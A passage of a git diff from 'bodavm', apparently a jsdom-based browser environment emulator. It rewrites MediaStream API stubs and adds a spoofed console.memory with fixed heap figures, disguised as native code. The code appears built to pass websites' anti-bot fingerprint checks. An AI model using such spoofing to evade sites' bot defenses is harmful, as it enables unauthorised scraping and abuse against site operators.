+bodavm.toolsFunc.defineProperty('MediaStreamAudioDestinationNode', "stream", { + configurable: true, + enumerable: true, + get: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioDestinationNode'].prototype, "MediaStreamAudioDestinationNode", "stream_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamAudioSourceNode.js b/env_xbb_lastest_jsdom/env/MediaStreamAudioSourceNode.js index 471371c5..23df4bb1 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamAudioSourceNode.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamAudioSourceNode.js @@ -1,6 +1,27 @@ -// MediaStreamAudioSourceNode对象 -bodavm.memory.globalobj['MediaStreamAudioSourceNode'] = function MediaStreamAudioSourceNode(){if (!(this instanceof MediaStreamAudioSourceNode)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioSourceNode': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioSourceNode'], "MediaStreamAudioSourceNode"); -bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype.__proto__=bodavm.memory.globalobj['AudioNode'].prototype; -bodavm.memory.globalobj['MediaStreamAudioSourceNode'].__proto__=bodavm.memory.globalobj['AudioNode']; -bodavm.toolsFunc.defineProperty('MediaStreamAudioSourceNode', "mediaStream", {configurable:true, enumerable:true, get:function mediaStream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype, "MediaStreamAudioSourceNode", "mediaStream_get", arguments)}, set:undefined},'prototype'); +// MediaStreamAudioSourceNode对象 + +bodavm.memory.globalobj['MediaStreamAudioSourceNode'] = function MediaStreamAudioSourceNode() { + console.log_copy('MediaStreamAudioSourceNode 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamAudioSourceNode)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamAudioSourceNode': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamAudioSourceNode'], "MediaStreamAudioSourceNode"); +bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype.__proto__ = bodavm.memory.globalobj['AudioNode'].prototype; +bodavm.memory.globalobj['MediaStreamAudioSourceNode'].__proto__ = bodavm.memory.globalobj['AudioNode']; +bodavm.toolsFunc.defineProperty('MediaStreamAudioSourceNode', "mediaStream", { + configurable: true, + enumerable: true, + get: function mediaStream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamAudioSourceNode'].prototype, "MediaStreamAudioSourceNode", "mediaStream_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamEvent.js b/env_xbb_lastest_jsdom/env/MediaStreamEvent.js index eb059d32..8435d301 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamEvent.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamEvent.js @@ -1,6 +1,27 @@ -// MediaStreamEvent对象 -bodavm.memory.globalobj['MediaStreamEvent'] = function MediaStreamEvent(){if (!(this instanceof MediaStreamEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamEvent': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamEvent'], "MediaStreamEvent"); -bodavm.memory.globalobj['MediaStreamEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaStreamEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaStreamEvent', "stream", {configurable:true, enumerable:true, get:function stream (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamEvent'].prototype, "MediaStreamEvent", "stream_get", arguments)}, set:undefined},'prototype'); +// MediaStreamEvent对象 + +bodavm.memory.globalobj['MediaStreamEvent'] = function MediaStreamEvent() { + console.log_copy('MediaStreamEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamEvent': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamEvent'], "MediaStreamEvent"); +bodavm.memory.globalobj['MediaStreamEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaStreamEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaStreamEvent', "stream", { + configurable: true, + enumerable: true, + get: function stream() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamEvent'].prototype, "MediaStreamEvent", "stream_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamTrack.js b/env_xbb_lastest_jsdom/env/MediaStreamTrack.js index 7c0b9f84..14221731 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamTrack.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamTrack.js @@ -1,23 +1,175 @@ -// MediaStreamTrack对象 -bodavm.memory.globalobj['MediaStreamTrack'] = function MediaStreamTrack(){if (!(this instanceof MediaStreamTrack)){return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrack'], "MediaStreamTrack"); -bodavm.memory.globalobj['MediaStreamTrack'].prototype.__proto__=bodavm.memory.globalobj['EventTarget'].prototype; -bodavm.memory.globalobj['MediaStreamTrack'].__proto__=bodavm.memory.globalobj['EventTarget']; -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "kind", {configurable:true, enumerable:true, get:function kind (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "kind_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "id", {configurable:true, enumerable:true, get:function id (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "id_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "label", {configurable:true, enumerable:true, get:function label (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "label_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "enabled", {configurable:true, enumerable:true, get:function enabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_get", arguments)}, set:function enabled (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "muted", {configurable:true, enumerable:true, get:function muted (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "muted_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onmute", {configurable:true, enumerable:true, get:function onmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_get", arguments)}, set:function onmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onunmute", {configurable:true, enumerable:true, get:function onunmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_get", arguments)}, set:function onunmute (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "readyState", {configurable:true, enumerable:true, get:function readyState (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "readyState_get", arguments)}, set:undefined},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onended", {configurable:true, enumerable:true, get:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_get", arguments)}, set:function onended (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "contentHint", {configurable:true, enumerable:true, get:function contentHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_get", arguments)}, set:function contentHint (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "applyConstraints", {configurable:true, enumerable:true, writable:true, value:function applyConstraints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "applyConstraints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "clone", {configurable:true, enumerable:true, writable:true, value:function clone (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "clone", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCapabilities", {configurable:true, enumerable:true, writable:true, value:function getCapabilities (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCapabilities", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getConstraints", {configurable:true, enumerable:true, writable:true, value:function getConstraints (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getConstraints", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getSettings", {configurable:true, enumerable:true, writable:true, value:function getSettings (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getSettings", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "stop", {configurable:true, enumerable:true, writable:true, value:function stop (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "stop", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "oncapturehandlechange", {configurable:true, enumerable:true, get:function oncapturehandlechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_get", arguments)}, set:function oncapturehandlechange (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_set", arguments)}},'prototype'); -bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCaptureHandle", {configurable:true, enumerable:true, writable:true, value:function getCaptureHandle (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCaptureHandle", arguments)}},'prototype'); +// MediaStreamTrack对象 + +bodavm.memory.globalobj['MediaStreamTrack'] = function MediaStreamTrack() { + console.log_copy('MediaStreamTrack 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrack)) { + return bodavm.toolsFunc.throwError("TypeError", "Illegal constructor"); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrack'], "MediaStreamTrack"); +bodavm.memory.globalobj['MediaStreamTrack'].prototype.__proto__ = bodavm.memory.globalobj['EventTarget'].prototype; +bodavm.memory.globalobj['MediaStreamTrack'].__proto__ = bodavm.memory.globalobj['EventTarget']; +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "kind", { + configurable: true, + enumerable: true, + get: function kind() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "kind_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "id", { + configurable: true, + enumerable: true, + get: function id() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "id_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "label", { + configurable: true, + enumerable: true, + get: function label() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "label_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "enabled", { + configurable: true, + enumerable: true, + get: function enabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_get", arguments); + }, + set: function enabled() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "enabled_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "muted", { + configurable: true, + enumerable: true, + get: function muted() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "muted_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onmute", { + configurable: true, + enumerable: true, + get: function onmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_get", arguments); + }, + set: function onmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onmute_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onunmute", { + configurable: true, + enumerable: true, + get: function onunmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_get", arguments); + }, + set: function onunmute() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onunmute_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "readyState", { + configurable: true, + enumerable: true, + get: function readyState() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "readyState_get", arguments); + }, + set: undefined +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "onended", { + configurable: true, + enumerable: true, + get: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_get", arguments); + }, + set: function onended() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "onended_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "contentHint", { + configurable: true, + enumerable: true, + get: function contentHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_get", arguments); + }, + set: function contentHint() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "contentHint_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "applyConstraints", { + configurable: true, + enumerable: true, + writable: true, + value: function applyConstraints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "applyConstraints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "clone", { + configurable: true, + enumerable: true, + writable: true, + value: function clone() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "clone", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCapabilities", { + configurable: true, + enumerable: true, + writable: true, + value: function getCapabilities() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCapabilities", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getConstraints", { + configurable: true, + enumerable: true, + writable: true, + value: function getConstraints() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getConstraints", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getSettings", { + configurable: true, + enumerable: true, + writable: true, + value: function getSettings() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getSettings", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "stop", { + configurable: true, + enumerable: true, + writable: true, + value: function stop() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "stop", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "oncapturehandlechange", { + configurable: true, + enumerable: true, + get: function oncapturehandlechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_get", arguments); + }, + set: function oncapturehandlechange() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "oncapturehandlechange_set", arguments); + } +}, 'prototype'); +bodavm.toolsFunc.defineProperty('MediaStreamTrack', "getCaptureHandle", { + configurable: true, + enumerable: true, + writable: true, + value: function getCaptureHandle() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrack'].prototype, "MediaStreamTrack", "getCaptureHandle", arguments); + } +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamTrackEvent.js b/env_xbb_lastest_jsdom/env/MediaStreamTrackEvent.js index 438422d0..ff38beb7 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamTrackEvent.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamTrackEvent.js @@ -1,6 +1,27 @@ -// MediaStreamTrackEvent对象 -bodavm.memory.globalobj['MediaStreamTrackEvent'] = function MediaStreamTrackEvent(){if (!(this instanceof MediaStreamTrackEvent)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackEvent': 2 arguments required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackEvent'], "MediaStreamTrackEvent"); -bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype.__proto__=bodavm.memory.globalobj['Event'].prototype; -bodavm.memory.globalobj['MediaStreamTrackEvent'].__proto__=bodavm.memory.globalobj['Event']; -bodavm.toolsFunc.defineProperty('MediaStreamTrackEvent', "track", {configurable:true, enumerable:true, get:function track (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype, "MediaStreamTrackEvent", "track_get", arguments)}, set:undefined},'prototype'); +// MediaStreamTrackEvent对象 + +bodavm.memory.globalobj['MediaStreamTrackEvent'] = function MediaStreamTrackEvent() { + console.log_copy('MediaStreamTrackEvent 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrackEvent)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackEvent': 2 arguments required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackEvent'], "MediaStreamTrackEvent"); +bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype.__proto__ = bodavm.memory.globalobj['Event'].prototype; +bodavm.memory.globalobj['MediaStreamTrackEvent'].__proto__ = bodavm.memory.globalobj['Event']; +bodavm.toolsFunc.defineProperty('MediaStreamTrackEvent', "track", { + configurable: true, + enumerable: true, + get: function track() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackEvent'].prototype, "MediaStreamTrackEvent", "track_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamTrackGenerator.js b/env_xbb_lastest_jsdom/env/MediaStreamTrackGenerator.js index ba4b46bb..df64cbf3 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamTrackGenerator.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamTrackGenerator.js @@ -1,6 +1,27 @@ -// MediaStreamTrackGenerator对象 -bodavm.memory.globalobj['MediaStreamTrackGenerator'] = function MediaStreamTrackGenerator(){if (!(this instanceof MediaStreamTrackGenerator)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackGenerator': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackGenerator'], "MediaStreamTrackGenerator"); -bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype.__proto__=bodavm.memory.globalobj['MediaStreamTrack'].prototype; -bodavm.memory.globalobj['MediaStreamTrackGenerator'].__proto__=bodavm.memory.globalobj['MediaStreamTrack']; -bodavm.toolsFunc.defineProperty('MediaStreamTrackGenerator', "writable", {configurable:true, enumerable:true, get:function writable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype, "MediaStreamTrackGenerator", "writable_get", arguments)}, set:undefined},'prototype'); +// MediaStreamTrackGenerator对象 + +bodavm.memory.globalobj['MediaStreamTrackGenerator'] = function MediaStreamTrackGenerator() { + console.log_copy('MediaStreamTrackGenerator 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrackGenerator)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackGenerator': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackGenerator'], "MediaStreamTrackGenerator"); +bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype.__proto__ = bodavm.memory.globalobj['MediaStreamTrack'].prototype; +bodavm.memory.globalobj['MediaStreamTrackGenerator'].__proto__ = bodavm.memory.globalobj['MediaStreamTrack']; +bodavm.toolsFunc.defineProperty('MediaStreamTrackGenerator', "writable", { + configurable: true, + enumerable: true, + get: function writable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackGenerator'].prototype, "MediaStreamTrackGenerator", "writable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MediaStreamTrackProcessor.js b/env_xbb_lastest_jsdom/env/MediaStreamTrackProcessor.js index 36812fc7..08158201 100644 --- a/env_xbb_lastest_jsdom/env/MediaStreamTrackProcessor.js +++ b/env_xbb_lastest_jsdom/env/MediaStreamTrackProcessor.js @@ -1,4 +1,25 @@ -// MediaStreamTrackProcessor对象 -bodavm.memory.globalobj['MediaStreamTrackProcessor'] = function MediaStreamTrackProcessor(){if (!(this instanceof MediaStreamTrackProcessor)){return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackProcessor': 1 argument required, but only 0 present.")};this._boisinit=bodavm.config.isinit} -bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackProcessor'], "MediaStreamTrackProcessor"); -bodavm.toolsFunc.defineProperty('MediaStreamTrackProcessor', "readable", {configurable:true, enumerable:true, get:function readable (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackProcessor'].prototype, "MediaStreamTrackProcessor", "readable_get", arguments)}, set:undefined},'prototype'); +// MediaStreamTrackProcessor对象 + +bodavm.memory.globalobj['MediaStreamTrackProcessor'] = function MediaStreamTrackProcessor() { + console.log_copy('MediaStreamTrackProcessor 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + if (!(this instanceof MediaStreamTrackProcessor)) { + return bodavm.toolsFunc.throwError("TypeError", "Failed to construct 'MediaStreamTrackProcessor': 1 argument required, but only 0 present."); + } + ; + this._boisinit = bodavm.config.isinit; +}; +bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MediaStreamTrackProcessor'], "MediaStreamTrackProcessor"); +bodavm.toolsFunc.defineProperty('MediaStreamTrackProcessor', "readable", { + configurable: true, + enumerable: true, + get: function readable() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MediaStreamTrackProcessor'].prototype, "MediaStreamTrackProcessor", "readable_get", arguments); + }, + set: undefined +}, 'prototype'); \ No newline at end of file diff --git a/env_xbb_lastest_jsdom/env/MemoryInfo.js b/env_xbb_lastest_jsdom/env/MemoryInfo.js new file mode 100644 index 00000000..50839b21 --- /dev/null +++ b/env_xbb_lastest_jsdom/env/MemoryInfo.js @@ -0,0 +1,86 @@ +// console.memory.__proto__对象 + +// bodavm.memory.globalobj['MemoryInfo'] = { +// _boisinit:true +// } +// bodavm.toolsFunc.defineProperty('MemoryInfo', "totalJSHeapSize", {configurable:true, enumerable:true, get:function totalJSHeapSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo", "totalJSHeapSize_get", arguments)}, set:undefined}); +// bodavm.toolsFunc.defineProperty('MemoryInfo', "usedJSHeapSize", {configurable:true, enumerable:true, get:function usedJSHeapSize (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo", "usedJSHeapSize_get", arguments)}, set:undefined}); +// bodavm.toolsFunc.defineProperty('MemoryInfo', "jsHeapSizeLimit", {configurable:true, enumerable:true, get:function jsHeapSizeLimit (){return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo", "jsHeapSizeLimit_get", arguments)}, set:undefined}); + + + + + +bodavm.memory.globalobj['MemoryInfo'] = function MemoryInfo() { + console.log_copy('MemoryInfo 实例化对象参数为 ->', JSON.stringify_bo(arguments, function (k, v) { + if (v == window) { + return 'window'; + } else { + return v; + } + })); + ; + this._boisinit = bodavm.config.isinit; + + }; + bodavm.toolsFunc.safeProto(bodavm.memory.globalobj['MemoryInfo'], "MemoryInfo"); + bodavm.toolsFunc.defineProperty('MemoryInfo', "totalJSHeapSize", { + configurable: true, + enumerable: true, + get: function totalJSHeapSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'].prototype, "totalJSHeapSize", "totalJSHeapSize_get", arguments); + }, + set: undefined + }, 'prototype'); + + bodavm.toolsFunc.defineProperty('MemoryInfo', "usedJSHeapSize", { + configurable: true, + enumerable: true, + get: function totalJSHeapSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'].prototype, "usedJSHeapSize", "usedJSHeapSize_get", arguments); + }, + set: undefined + }, 'prototype'); + bodavm.toolsFunc.defineProperty('MemoryInfo', "jsHeapSizeLimit", { + configurable: true, + enumerable: true, + get: function totalJSHeapSize() { + return bodavm.toolsFunc.dispatch(this, bodavm.memory.globalobj['MemoryInfo'].prototype, "jsHeapSizeLimit", "jsHeapSizeLimit_get", arguments); + }, + set: undefined + }, 'prototype'); + +delete bodavm.memory.globalobj['MemoryInfo'].prototype.constructor +Object.defineProperty(console,'memory',{ + get:function(){ + debugger + console.log(`console.memory get 检测 !!!`) + res={ + _boisinit:true, + jsHeapSizeLimit:2190000000, + totalJSHeapSize:15200000, + usedJSHeapSize:13400000, + + } + res.__proto__=bodavm.memory.globalobj['MemoryInfo'].prototype + return res + }, + set:function(){ + console.log_copy('console memory set 检测') + }, + configurable: true, + enumerable: true +}) + +bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptor(console,'memory').get,'') +bodavm.toolsFunc.safefunction(Object.getOwnPropertyDescriptor(console,'memory').set,'') +// console.memory={} +// console.memory.__proto__=bodavm.memory.globalobj['MemoryInfo'].prototype + +// Object.defineProperty(console.memory.__proto__,Symbol.toStringTag,{ +// value: 'MemoryInfo', +// configurable: true, +// writable: false, +// enumerable: false +// }) + diff --git 